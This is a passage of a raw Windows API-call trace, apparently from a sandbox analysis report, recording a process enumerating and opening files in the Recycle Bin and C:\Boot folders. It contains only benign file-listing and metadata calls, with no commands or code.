FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x81fcd8 [0138.773] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.774] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0138.774] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0138.774] GetLastError () returned 0x12 [0138.774] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x839020 [0138.774] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.774] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.774] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0138.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.774] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0138.774] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.774] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.774] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.774] NtClose (Handle=0x15c) returned 0x0 [0138.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ed90 [0138.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0138.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0138.775] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.775] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983bf0 [0138.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ed90) returned 1 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9ddb0 [0138.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983cf8 [0138.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0138.778] GetLastError () returned 0x12 [0138.778] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.778] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0138.778] GetLastError () returned 0x12 [0138.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0138.779] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983bf0) returned 1 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0138.779] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcf, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0138.779] GetLastError () returned 0x12 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0138.779] FindClose (in: hFindFile=0x839020 | out: hFindFile=0x839020) returned 1 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.779] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Boot", cAlternateFileName="")) returned 1 [0138.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.779] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0138.779] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.779] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0138.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.779] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.779] NtClose (Handle=0x194) returned 0x0 [0138.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0138.780] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x81fcd8 [0138.780] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.780] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9ddd0 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ed90 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0xa9ddf0 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ed08 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983e00 [0138.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ec80 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983e20 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ebf8 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983e40 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eb70 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, 